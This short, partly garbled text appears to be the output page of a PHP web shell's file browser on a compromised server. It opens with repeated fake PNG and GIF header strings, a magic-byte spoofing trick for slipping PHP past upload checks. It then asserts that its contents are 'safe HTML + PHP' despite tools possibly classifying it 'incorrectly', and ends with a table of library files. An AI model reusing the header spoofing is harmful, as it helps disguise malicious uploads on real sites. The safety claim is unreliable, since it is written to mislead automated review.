$假PNG头 = "\x89PNG\r\n\x1a\n"; "\头"\头"\头"\头"\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a
Today's date is: 2026-02-14
This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

| Name | Size | Perm | Action |
|---|---|---|---|
| 📄 Base32.php | 17865 bytes | ||
| 📄 Base32Hex.php | 3435 bytes | ||
| 📄 Base64.php | 12780 bytes | ||
| 📄 Base64DotSlash.php | 3058 bytes | ||
| 📄 Base64DotSlashOrdered.php | 2803 bytes | ||
| 📄 Base64UrlSafe.php | 3247 bytes | ||
| 📄 Binary.php | 2911 bytes | ||
| 📄 EncoderInterface.php | 1984 bytes | ||
| 📄 Encoding.php | 7270 bytes | ||
| 📄 Hex.php | 5484 bytes | ||
| 📄 RFC4648.php | 4719 bytes |